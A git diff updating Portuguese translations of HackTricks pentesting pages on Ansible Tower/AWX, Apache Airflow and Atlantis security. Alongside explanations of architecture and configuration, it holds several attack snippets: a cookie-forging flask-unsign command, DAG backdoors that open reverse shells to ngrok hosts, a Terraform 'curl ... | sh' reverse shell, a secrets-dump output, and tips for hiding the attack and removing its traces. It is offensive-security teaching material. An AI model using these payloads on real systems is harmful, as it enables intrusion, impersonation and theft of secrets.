mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-02 02:54:53 -07:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
Translator
@@ -4,7 +4,7 @@
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Suporte ao HackTricks</summary>
|
||||
> <summary>Support HackTricks</summary>
|
||||
>
|
||||
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
@@ -1,62 +1,62 @@
|
||||
# Ansible Tower / AWX / Automation controller Security
|
||||
# Ansible Tower / AWX / Segurança do controlador de automação
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informações Básicas
|
||||
|
||||
**Ansible Tower** ou sua versão de código aberto [**AWX**](https://github.com/ansible/awx) também é conhecido como **interface de usuário, painel e API REST do Ansible**. Com **controle de acesso baseado em função**, agendamento de tarefas e gerenciamento gráfico de inventário, você pode gerenciar sua infraestrutura Ansible a partir de uma interface moderna. A API REST do Tower e a interface de linha de comando facilitam a integração com ferramentas e fluxos de trabalho atuais.
|
||||
**Ansible Tower** ou sua versão de código aberto [**AWX**](https://github.com/ansible/awx) também é conhecido como **interface do usuário do Ansible, painel e API REST**. Com **controle de acesso baseado em função**, agendamento de tarefas e gerenciamento gráfico de inventário, você pode gerenciar sua infraestrutura Ansible a partir de uma interface moderna. A API REST do Tower e a interface de linha de comando facilitam a integração com ferramentas e fluxos de trabalho atuais.
|
||||
|
||||
**Automation Controller é uma versão mais nova** do Ansible Tower com mais capacidades.
|
||||
**O Controlador de Automação é uma versão** mais nova do Ansible Tower com mais capacidades.
|
||||
|
||||
### Differences
|
||||
### Diferenças
|
||||
|
||||
De acordo com [**este**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), as principais diferenças entre Ansible Tower e AWX são o suporte recebido e o Ansible Tower possui recursos adicionais, como controle de acesso baseado em função, suporte para APIs personalizadas e fluxos de trabalho definidos pelo usuário.
|
||||
|
||||
### Tech Stack
|
||||
### Stack Tecnológico
|
||||
|
||||
- **Web Interface**: Esta é a interface gráfica onde os usuários podem gerenciar inventários, credenciais, modelos e tarefas. É projetada para ser intuitiva e fornece visualizações para ajudar a entender o estado e os resultados de suas tarefas de automação.
|
||||
- **REST API**: Tudo o que você pode fazer na interface da web, você também pode fazer via API REST. Isso significa que você pode integrar AWX/Tower com outros sistemas ou scriptar ações que normalmente você realizaria na interface.
|
||||
- **Database**: AWX/Tower usa um banco de dados (tipicamente PostgreSQL) para armazenar sua configuração, resultados de tarefas e outros dados operacionais necessários.
|
||||
- **Interface Web**: Esta é a interface gráfica onde os usuários podem gerenciar inventários, credenciais, modelos e tarefas. É projetada para ser intuitiva e fornece visualizações para ajudar a entender o estado e os resultados de suas tarefas de automação.
|
||||
- **API REST**: Tudo o que você pode fazer na interface web, você também pode fazer via API REST. Isso significa que você pode integrar AWX/Tower com outros sistemas ou scriptar ações que normalmente você realizaria na interface.
|
||||
- **Banco de Dados**: AWX/Tower usa um banco de dados (tipicamente PostgreSQL) para armazenar sua configuração, resultados de tarefas e outros dados operacionais necessários.
|
||||
- **RabbitMQ**: Este é o sistema de mensagens usado pelo AWX/Tower para se comunicar entre os diferentes componentes, especialmente entre o serviço web e os executores de tarefas.
|
||||
- **Redis**: Redis serve como um cache e um backend para a fila de tarefas.
|
||||
|
||||
### Logical Components
|
||||
### Componentes Lógicos
|
||||
|
||||
- **Inventories**: Um inventário é uma **coleção de hosts (ou nós)** contra os quais **tarefas** (playbooks do Ansible) podem ser **executadas**. AWX/Tower permite que você defina e agrupe seus inventários e também suporta inventários dinâmicos que podem **buscar listas de hosts de outros sistemas** como AWS, Azure, etc.
|
||||
- **Projects**: Um projeto é essencialmente uma **coleção de playbooks do Ansible** provenientes de um **sistema de controle de versão** (como Git) para puxar os playbooks mais recentes quando necessário.
|
||||
- **Templates**: Modelos de tarefas definem **como um determinado playbook será executado**, especificando o **inventário**, **credenciais** e outros **parâmetros** para a tarefa.
|
||||
- **Credentials**: AWX/Tower fornece uma maneira segura de **gerenciar e armazenar segredos, como chaves SSH, senhas e tokens de API**. Essas credenciais podem ser associadas a modelos de tarefas para que os playbooks tenham o acesso necessário quando forem executados.
|
||||
- **Task Engine**: É aqui que a mágica acontece. O mecanismo de tarefas é construído sobre o Ansible e é responsável por **executar os playbooks**. As tarefas são despachadas para o mecanismo de tarefas, que então executa os playbooks do Ansible contra o inventário designado usando as credenciais especificadas.
|
||||
- **Schedulers and Callbacks**: Esses são recursos avançados no AWX/Tower que permitem que **tarefas sejam agendadas** para serem executadas em horários específicos ou acionadas por eventos externos.
|
||||
- **Notifications**: AWX/Tower pode enviar notificações com base no sucesso ou falha das tarefas. Ele suporta vários meios de notificações, como e-mails, mensagens do Slack, webhooks, etc.
|
||||
- **Ansible Playbooks**: Playbooks do Ansible são ferramentas de configuração, implantação e orquestração. Eles descrevem o estado desejado dos sistemas de uma maneira automatizada e repetível. Escritos em YAML, os playbooks usam a linguagem de automação declarativa do Ansible para descrever configurações, tarefas e etapas que precisam ser executadas.
|
||||
- **Inventários**: Um inventário é uma **coleção de hosts (ou nós)** contra os quais **tarefas** (playbooks do Ansible) podem ser **executadas**. AWX/Tower permite que você defina e agrupe seus inventários e também suporta inventários dinâmicos que podem **buscar listas de hosts de outros sistemas** como AWS, Azure, etc.
|
||||
- **Projetos**: Um projeto é essencialmente uma **coleção de playbooks do Ansible** provenientes de um **sistema de controle de versão** (como Git) para puxar os playbooks mais recentes quando necessário.
|
||||
- **Modelos**: Modelos de tarefas definem **como um determinado playbook será executado**, especificando o **inventário**, **credenciais** e outros **parâmetros** para a tarefa.
|
||||
- **Credenciais**: AWX/Tower fornece uma maneira segura de **gerenciar e armazenar segredos, como chaves SSH, senhas e tokens de API**. Essas credenciais podem ser associadas a modelos de tarefas para que os playbooks tenham o acesso necessário quando forem executados.
|
||||
- **Motor de Tarefas**: É aqui que a mágica acontece. O motor de tarefas é construído sobre o Ansible e é responsável por **executar os playbooks**. As tarefas são despachadas para o motor de tarefas, que então executa os playbooks do Ansible contra o inventário designado usando as credenciais especificadas.
|
||||
- **Agendadores e Callbacks**: Esses são recursos avançados no AWX/Tower que permitem que **tarefas sejam agendadas** para serem executadas em horários específicos ou acionadas por eventos externos.
|
||||
- **Notificações**: AWX/Tower pode enviar notificações com base no sucesso ou falha das tarefas. Ele suporta vários meios de notificações, como e-mails, mensagens do Slack, webhooks, etc.
|
||||
- **Playbooks do Ansible**: Playbooks do Ansible são ferramentas de configuração, implantação e orquestração. Eles descrevem o estado desejado dos sistemas de uma maneira automatizada e repetível. Escritos em YAML, os playbooks usam a linguagem de automação declarativa do Ansible para descrever configurações, tarefas e etapas que precisam ser executadas.
|
||||
|
||||
### Job Execution Flow
|
||||
### Fluxo de Execução de Tarefas
|
||||
|
||||
1. **User Interaction**: Um usuário pode interagir com AWX/Tower através da **Web Interface** ou da **REST API**. Essas fornecem acesso frontal a todas as funcionalidades oferecidas pelo AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- O usuário, via a Web Interface ou API, inicia uma tarefa com base em um **Modelo de Tarefa**.
|
||||
1. **Interação do Usuário**: Um usuário pode interagir com AWX/Tower através da **Interface Web** ou da **API REST**. Essas fornecem acesso frontal a todas as funcionalidades oferecidas pelo AWX/Tower.
|
||||
2. **Iniciação da Tarefa**:
|
||||
- O usuário, via Interface Web ou API, inicia uma tarefa com base em um **Modelo de Tarefa**.
|
||||
- O Modelo de Tarefa inclui referências ao **Inventário**, **Projeto** (contendo o playbook) e **Credenciais**.
|
||||
- Após a iniciação da tarefa, uma solicitação é enviada ao backend do AWX/Tower para colocar a tarefa na fila para execução.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** gerencia a comunicação entre o componente web e os executores de tarefas. Uma vez que uma tarefa é iniciada, uma mensagem é despachada para o mecanismo de tarefas usando RabbitMQ.
|
||||
3. **Fila de Tarefas**:
|
||||
- **RabbitMQ** gerencia a comunicação entre o componente web e os executores de tarefas. Uma vez que uma tarefa é iniciada, uma mensagem é despachada para o motor de tarefas usando RabbitMQ.
|
||||
- **Redis** atua como o backend para a fila de tarefas, gerenciando tarefas enfileiradas aguardando execução.
|
||||
4. **Job Execution**:
|
||||
- O **Task Engine** pega a tarefa enfileirada. Ele recupera as informações necessárias do **Banco de Dados** sobre o playbook associado à tarefa, inventário e credenciais.
|
||||
- Usando o playbook do Ansible recuperado do **Projeto** associado, o Task Engine executa o playbook contra os nós do **Inventário** especificado usando as **Credenciais** fornecidas.
|
||||
4. **Execução da Tarefa**:
|
||||
- O **Motor de Tarefas** pega a tarefa enfileirada. Ele recupera as informações necessárias do **Banco de Dados** sobre o playbook associado à tarefa, inventário e credenciais.
|
||||
- Usando o playbook do Ansible recuperado do **Projeto** associado, o Motor de Tarefas executa o playbook contra os nós do **Inventário** especificado usando as **Credenciais** fornecidas.
|
||||
- À medida que o playbook é executado, sua saída de execução (logs, fatos, etc.) é capturada e armazenada no **Banco de Dados**.
|
||||
5. **Job Results**:
|
||||
5. **Resultados da Tarefa**:
|
||||
- Uma vez que o playbook termina de ser executado, os resultados (sucesso, falha, logs) são salvos no **Banco de Dados**.
|
||||
- Os usuários podem então visualizar os resultados através da Web Interface ou consultá-los via API REST.
|
||||
- Com base nos resultados da tarefa, **Notificações** podem ser despachadas para informar os usuários ou sistemas externos sobre o status da tarefa. As notificações podem ser e-mails, mensagens do Slack, webhooks, etc.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** podem ser dinamicamente obtidos de sistemas externos, permitindo que o AWX/Tower puxe hosts de fontes como AWS, Azure, VMware e mais.
|
||||
- **Projects** (playbooks) podem ser buscados de sistemas de controle de versão, garantindo o uso de playbooks atualizados durante a execução da tarefa.
|
||||
- **Schedulers and Callbacks** podem ser usados para integrar com outros sistemas ou ferramentas, fazendo com que o AWX/Tower reaja a gatilhos externos ou execute tarefas em horários predeterminados.
|
||||
- Os usuários podem então visualizar os resultados através da Interface Web ou consultá-los via API REST.
|
||||
- Com base nos resultados das tarefas, **Notificações** podem ser despachadas para informar usuários ou sistemas externos sobre o status da tarefa. As notificações podem ser e-mails, mensagens do Slack, webhooks, etc.
|
||||
6. **Integração com Sistemas Externos**:
|
||||
- **Inventários** podem ser dinamicamente obtidos de sistemas externos, permitindo que o AWX/Tower puxe hosts de fontes como AWS, Azure, VMware e mais.
|
||||
- **Projetos** (playbooks) podem ser buscados de sistemas de controle de versão, garantindo o uso de playbooks atualizados durante a execução da tarefa.
|
||||
- **Agendadores e Callbacks** podem ser usados para integrar com outros sistemas ou ferramentas, fazendo com que o AWX/Tower reaja a gatilhos externos ou execute tarefas em horários predeterminados.
|
||||
|
||||
### AWX lab creation for testing
|
||||
### Criação de laboratório AWX para testes
|
||||
|
||||
[**Seguindo a documentação**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) é possível usar docker-compose para executar AWX:
|
||||
[**Seguindo a documentação**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) é possível usar docker-compose para executar o AWX:
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -88,7 +88,7 @@ docker exec tools_awx_1 awx-manage create_preload_data
|
||||
|
||||
A função mais privilegiada é chamada de **Administrador do Sistema**. Qualquer pessoa com essa função pode **modificar qualquer coisa**.
|
||||
|
||||
De uma revisão de **segurança de caixa branca**, você precisaria da **função de Auditor do Sistema**, que permite **visualizar todos os dados do sistema**, mas não pode fazer nenhuma alteração. Outra opção seria obter a **função de Auditor da Organização**, mas seria melhor obter a outra.
|
||||
De uma revisão de **segurança de caixa branca**, você precisaria da função **Auditor do Sistema**, que permite **visualizar todos os dados do sistema**, mas não pode fazer nenhuma alteração. Outra opção seria obter a função **Auditor da Organização**, mas seria melhor obter a outra.
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Apache Airflow Security
|
||||
# Segurança do Apache Airflow
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Informações Básicas
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) serve como uma plataforma para **orquestrar e agendar pipelines de dados ou fluxos de trabalho**. O termo "orquestração" no contexto de pipelines de dados significa o processo de organizar, coordenar e gerenciar fluxos de trabalho de dados complexos que se originam de várias fontes. O principal objetivo desses pipelines de dados orquestrados é fornecer conjuntos de dados processados e utilizáveis. Esses conjuntos de dados são amplamente utilizados por uma infinidade de aplicações, incluindo, mas não se limitando a ferramentas de inteligência de negócios, ciência de dados e modelos de aprendizado de máquina, todos os quais são fundamentais para o funcionamento de aplicações de big data.
|
||||
[**Apache Airflow**](https://airflow.apache.org) serve como uma plataforma para **orquestrar e agendar pipelines de dados ou fluxos de trabalho**. O termo "orquestração" no contexto de pipelines de dados significa o processo de organizar, coordenar e gerenciar fluxos de trabalho de dados complexos que se originam de várias fontes. O principal objetivo desses pipelines de dados orquestrados é fornecer conjuntos de dados processados e consumíveis. Esses conjuntos de dados são amplamente utilizados por uma infinidade de aplicações, incluindo, mas não se limitando a, ferramentas de inteligência de negócios, ciência de dados e modelos de aprendizado de máquina, todos os quais são fundamentais para o funcionamento de aplicações de big data.
|
||||
|
||||
Basicamente, o Apache Airflow permitirá que você **agende a execução de código quando algo** (evento, cron) **acontecer**.
|
||||
|
||||
@@ -51,7 +51,7 @@ Se você tiver **acesso ao console web**, pode ser capaz de acessar algumas ou t
|
||||
- **Variáveis** (Informações sensíveis personalizadas podem ser armazenadas aqui)
|
||||
- **Conexões** (Informações sensíveis personalizadas podem ser armazenadas aqui)
|
||||
- Acesse-as em `http://<airflow>/connection/list/`
|
||||
- [**Configuração**](./#airflow-configuration) (Informações sensíveis como **`secret_key`** e senhas podem ser armazenadas aqui)
|
||||
- [**Configuração**](./#airflow-configuration) (Informações sensíveis como o **`secret_key`** e senhas podem ser armazenadas aqui)
|
||||
- Liste **usuários e funções**
|
||||
- **Código de cada DAG** (que pode conter informações interessantes)
|
||||
|
||||
@@ -62,22 +62,22 @@ O Airflow, por padrão, mostrará o valor da variável na GUI, no entanto, de ac
|
||||
|
||||
.png>)
|
||||
|
||||
No entanto, esses **valores** ainda podem ser **recuperados** via **CLI** (você precisa ter acesso ao DB), execução de **DAG** arbitrário, **API** acessando o endpoint de variáveis (a API precisa estar ativada) e **até mesmo a própria GUI!**\
|
||||
Para acessar esses valores a partir da GUI, basta **selecionar as variáveis** que você deseja acessar e **clicar em Ações -> Exportar**.\
|
||||
No entanto, esses **valores** ainda podem ser **recuperados** via **CLI** (você precisa ter acesso ao DB), execução de **DAG** arbitrário, **API** acessando o endpoint de variáveis (a API precisa ser ativada) e **até mesmo a própria GUI!**\
|
||||
Para acessar esses valores pela GUI, basta **selecionar as variáveis** que você deseja acessar e **clicar em Ações -> Exportar**.\
|
||||
Outra maneira é realizar um **bruteforce** no **valor oculto** usando o **filtro de pesquisa** até obtê-lo:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Escalação de Privilégios
|
||||
|
||||
Se a configuração **`expose_config`** estiver definida como **True**, a partir da **função Usuário** e **acima**, pode-se **ler** a **configuração na web**. Nessa configuração, a **`secret_key`** aparece, o que significa que qualquer usuário com isso válido pode **criar seu próprio cookie assinado para se passar por qualquer outra conta de usuário**.
|
||||
Se a configuração **`expose_config`** estiver definida como **True**, a partir da **função Usuário** e **acima**, pode-se **ler** a **configuração na web**. Nessa configuração, o **`secret_key`** aparece, o que significa que qualquer usuário com isso válido pode **criar seu próprio cookie assinado para se passar por qualquer outra conta de usuário**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG Backdoor (RCE em trabalhador Airflow)
|
||||
#### Backdoor de DAG (RCE no trabalhador do Airflow)
|
||||
|
||||
Se você tiver **acesso de escrita** ao local onde os **DAGs são salvos**, você pode simplesmente **criar um** que enviará para você um **reverse shell.**\
|
||||
Observe que este reverse shell será executado dentro de um **container de trabalhador airflow**:
|
||||
Se você tiver **acesso de gravação** ao local onde os **DAGs são salvos**, você pode simplesmente **criar um** que enviará para você um **reverse shell.**\
|
||||
Observe que este reverse shell será executado dentro de um **container de trabalhador do airflow**:
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
@@ -116,9 +116,9 @@ python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG Backdoor (RCE no agendador do Airflow)
|
||||
#### DAG Backdoor (RCE no scheduler do Airflow)
|
||||
|
||||
Se você definir algo para ser **executado na raiz do código**, no momento da escrita deste texto, ele será **executado pelo agendador** após alguns segundos depois de colocá-lo dentro da pasta do DAG.
|
||||
Se você definir algo para ser **executado na raiz do código**, no momento da escrita deste texto, ele será **executado pelo scheduler** após alguns segundos depois de colocá-lo dentro da pasta do DAG.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
@@ -144,7 +144,7 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### Criação de DAG
|
||||
|
||||
Se você conseguir **comprometer uma máquina dentro do cluster DAG**, pode criar novos **scripts de DAG** na pasta `dags/` e eles serão **replicados no restante das máquinas** dentro do cluster DAG.
|
||||
Se você conseguir **comprometer uma máquina dentro do cluster DAG**, pode criar novos **scripts DAG** na pasta `dags/` e eles serão **replicados no restante das máquinas** dentro do cluster DAG.
|
||||
|
||||
#### Injeção de Código em DAG
|
||||
|
||||
@@ -160,6 +160,6 @@ from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
Se forem usados, por exemplo, dentro de um comando bash, você poderia realizar uma injeção de comando.
|
||||
Se forem usados, por exemplo, dentro de um comando bash, você pode realizar uma injeção de comando.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
# Airflow Configuration
|
||||
# Configuração do Airflow
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Arquivo de Configuração
|
||||
|
||||
**Apache Airflow** gera um **arquivo de configuração** em todas as máquinas do airflow chamado **`airflow.cfg`** na pasta inicial do usuário airflow. Este arquivo de configuração contém informações de configuração e **pode conter informações interessantes e sensíveis.**
|
||||
**Apache Airflow** gera um **arquivo de configuração** em todas as máquinas do airflow chamado **`airflow.cfg`** na pasta home do usuário airflow. Este arquivo de configuração contém informações de configuração e **pode conter informações interessantes e sensíveis.**
|
||||
|
||||
**Existem duas maneiras de acessar este arquivo: Comprometendo alguma máquina do airflow ou acessando o console web.**
|
||||
|
||||
Note que os **valores dentro do arquivo de configuração** **podem não ser os utilizados**, pois você pode sobrescrevê-los definindo variáveis de ambiente como `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
Se você tiver acesso ao **arquivo de configuração no servidor web**, pode verificar a **configuração real em execução** na mesma página em que a configuração é exibida.\
|
||||
Se você tiver **acesso a alguma máquina dentro do ambiente airflow**, verifique o **ambiente**.
|
||||
Se você tiver **acesso a alguma máquina dentro do ambiente do airflow**, verifique o **ambiente**.
|
||||
|
||||
Alguns valores interessantes para verificar ao ler o arquivo de configuração:
|
||||
|
||||
@@ -20,13 +20,13 @@ Alguns valores interessantes para verificar ao ler o arquivo de configuração:
|
||||
- **`access_control_allow_headers`**: Isso indica os **cabeçalhos permitidos** para **CORS**
|
||||
- **`access_control_allow_methods`**: Isso indica os **métodos permitidos** para **CORS**
|
||||
- **`access_control_allow_origins`**: Isso indica as **origens permitidas** para **CORS**
|
||||
- **`auth_backend`**: [**De acordo com a documentação**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) algumas opções podem estar em vigor para configurar quem pode acessar a API:
|
||||
- **`auth_backend`**: [**De acordo com a documentação**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) algumas opções podem ser configuradas para definir quem pode acessar a API:
|
||||
- `airflow.api.auth.backend.deny_all`: **Por padrão, ninguém** pode acessar a API
|
||||
- `airflow.api.auth.backend.default`: **Todos podem** acessá-la sem autenticação
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Para configurar **autenticação kerberos**
|
||||
- `airflow.api.auth.backend.basic_auth`: Para **autenticação básica**
|
||||
- `airflow.composer.api.backend.composer_auth`: Usa autenticação de compositores (GCP) (de [**aqui**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Isso indica a **função** que o **usuário compositor** terá dentro do **airflow** (**Op** por padrão).
|
||||
- `composer_auth_user_registration_role`: Isso indica o **papel** que o **usuário compositor** terá dentro do **airflow** (**Op** por padrão).
|
||||
- Você também pode **criar seu próprio método de autenticação** com python.
|
||||
- **`google_key_path`:** Caminho para a **chave da conta de serviço GCP**
|
||||
|
||||
@@ -79,12 +79,12 @@ Alguns valores interessantes para verificar ao ler o arquivo de configuração:
|
||||
|
||||
- **`cookie_samesite`**: Por padrão é **Lax**, então já é o valor mais fraco possível
|
||||
- **`cookie_secure`**: Define a **flag segura** no cookie de sessão
|
||||
- **`expose_config`**: Por padrão é Falso, se verdadeiro, a **configuração** pode ser **lida** do **console** web
|
||||
- **`expose_stacktrace`**: Por padrão é Verdadeiro, mostrará **tracebacks python** (potencialmente útil para um atacante)
|
||||
- **`expose_config`**: Por padrão é False, se verdadeiro, a **configuração** pode ser **lida** do **console** web
|
||||
- **`expose_stacktrace`**: Por padrão é True, mostrará **tracebacks do python** (potencialmente útil para um atacante)
|
||||
- **`secret_key`**: Esta é a **chave usada pelo flask para assinar os cookies** (se você tiver isso, pode **se passar por qualquer usuário no Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Caminho** para o **certificado** **SSL**
|
||||
- **`web_server_ssl_key`**: **Caminho** para a **Chave** **SSL**
|
||||
- **`x_frame_enabled`**: O padrão é **Verdadeiro**, então por padrão o clickjacking não é possível
|
||||
- **`x_frame_enabled`**: O padrão é **True**, então por padrão o clickjacking não é possível
|
||||
|
||||
### Autenticação Web
|
||||
|
||||
|
||||
@@ -8,11 +8,11 @@
|
||||
|
||||
- **Usuários `Admin`** têm todas as permissões possíveis.
|
||||
- **Usuários `Public`** (anônimos) não têm nenhuma permissão.
|
||||
- **Usuários `Viewer`** têm permissões limitadas de visualização (apenas leitura). **Não pode ver a configuração.**
|
||||
- **Usuários `User`** têm permissões de `Viewer` mais permissões adicionais que permitem gerenciar DAGs um pouco. Ele **pode ver o arquivo de configuração.**
|
||||
- **Usuários `Viewer`** têm permissões limitadas de visualização (apenas leitura). **Não podem ver a configuração.**
|
||||
- **Usuários `User`** têm permissões de `Viewer` mais permissões adicionais que permitem gerenciar DAGs um pouco. Eles **podem ver o arquivo de configuração.**
|
||||
- **Usuários `Op`** têm permissões de `User` mais permissões adicionais de operação.
|
||||
|
||||
Observe que **usuários admin** podem **criar mais funções** com mais **permissões granulares**.
|
||||
Observe que usuários **admin** podem **criar mais funções** com mais **permissões granulares**.
|
||||
|
||||
Além disso, note que a única função padrão com **permissão para listar usuários e funções é Admin, nem mesmo Op** poderá fazer isso.
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Atlantis basicamente ajuda você a executar terraform a partir de Pull Requests
|
||||
|
||||
1. Vá para a **página de lançamentos do atlantis** em [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) e **baixe** a que melhor se adapta a você.
|
||||
2. Crie um **token pessoal** (com acesso ao repositório) do seu usuário **github**.
|
||||
3. Execute `./atlantis testdrive` e isso criará um **repositório de demonstração** que você pode usar para **conversar com atlantis**.
|
||||
3. Execute `./atlantis testdrive` e isso criará um **repositório de demonstração** que você pode usar para **se comunicar com atlantis**.
|
||||
4. Você pode acessar a página da web em 127.0.0.1:4141.
|
||||
|
||||
### Acesso ao Atlantis
|
||||
@@ -32,10 +32,10 @@ Atlantis usa opcionalmente [**segredos de Webhook**](https://www.runatlantis.io/
|
||||
|
||||
Uma maneira de confirmar isso seria **permitir que as solicitações venham apenas dos IPs** do seu host Git, mas uma maneira mais fácil é usar um Segredo de Webhook.
|
||||
|
||||
Observe que, a menos que você use um servidor github ou bitbucket privado, precisará expor os endpoints de webhook para a Internet.
|
||||
Observe que, a menos que você use um servidor privado do github ou bitbucket, você precisará expor os endpoints de webhook para a Internet.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis estará **expondo webhooks** para que o servidor git possa enviar informações. Do ponto de vista de um atacante, seria interessante saber **se você pode enviar mensagens** para ele.
|
||||
> Atlantis estará **expondo webhooks** para que o servidor git possa enviar informações. Do ponto de vista de um atacante, seria interessante saber **se você pode enviar mensagens**.
|
||||
|
||||
#### Credenciais do Provedor <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
@@ -60,11 +60,11 @@ Cabe a você como [fornecer credenciais](https://www.runatlantis.io/docs/provide
|
||||
|
||||
Por padrão, o Atlantis executará uma **página da web na porta 4141 no localhost**. Esta página apenas permite que você habilite/desabilite o atlantis apply e verifique o status do plano dos repositórios e os desbloqueie (não permite modificar coisas, então não é tão útil).
|
||||
|
||||
Você provavelmente não a encontrará exposta à internet, mas parece que por padrão **nenhuma credencial é necessária** para acessá-la (e se forem, `atlantis`:`atlantis` são as **padrões**).
|
||||
Provavelmente você não a encontrará exposta à internet, mas parece que por padrão **nenhuma credencial é necessária** para acessá-la (e se forem, `atlantis`:`atlantis` são as **padrões**).
|
||||
|
||||
### Configuração do Servidor
|
||||
|
||||
A configuração para `atlantis server` pode ser especificada via flags de linha de comando, variáveis de ambiente, um arquivo de configuração ou uma mistura dos três.
|
||||
A configuração para `atlantis server` pode ser especificada por meio de flags de linha de comando, variáveis de ambiente, um arquivo de configuração ou uma mistura dos três.
|
||||
|
||||
- Você pode encontrar [**aqui a lista de flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) suportadas pelo servidor Atlantis.
|
||||
- Você pode encontrar [**aqui como transformar uma opção de configuração em uma variável de ambiente**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
|
||||
@@ -105,7 +105,7 @@ Na configuração do repositório (configuração do lado do servidor), você po
|
||||
Então, você pode permitir que o arquivo **atlantis.yaml** de cada repositório **especifique o workflow a ser usado.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Se a flag [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, workflows podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser potencialmente necessário que **`allowed_overrides`** especifique também **`workflow`** para **sobrescrever o workflow** que será usado.\
|
||||
> Se a flag [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, workflows podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser necessário que **`allowed_overrides`** especifique também **`workflow`** para **sobrescrever o workflow** que será usado.\
|
||||
> Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que puder acessar esse repositório**.
|
||||
>
|
||||
> ```yaml
|
||||
@@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
|
||||
```
|
||||
**Ataque Mais Discreto**
|
||||
|
||||
Você pode realizar este ataque de uma **maneira mais discreta**, seguindo estas sugestões:
|
||||
Você pode realizar este ataque de uma maneira **mais discreta**, seguindo estas sugestões:
|
||||
|
||||
- Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contém o rev shell:
|
||||
```javascript
|
||||
@@ -195,23 +195,23 @@ Você pode encontrar o código rev shell em [https://github.com/carlospolop/terr
|
||||
- No recurso externo, use o recurso **ref** para ocultar o **código rev shell do terraform em um branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Em vez** de criar um **PR para master** para acionar o Atlantis, **crie 2 branches** (test1 e test2) e crie um **PR de um para o outro**. Quando você tiver concluído o ataque, apenas **remova o PR e os branches**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
#### Dump de Segredos do Atlantis
|
||||
|
||||
Você pode **extrair segredos usados pelo terraform** executando `atlantis plan` (`terraform plan`) colocando algo assim no arquivo terraform:
|
||||
Você pode **dump secrets usados pelo terraform** executando `atlantis plan` (`terraform plan`) colocando algo assim no arquivo terraform:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis apply RCE - Modificação de configuração em um novo PR
|
||||
#### Atlantis aplica RCE - Modificação de configuração em nova PR
|
||||
|
||||
Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar um PR. Se você puder **executar `atlantis apply`, você poderá RCE dentro do servidor Atlantis**.
|
||||
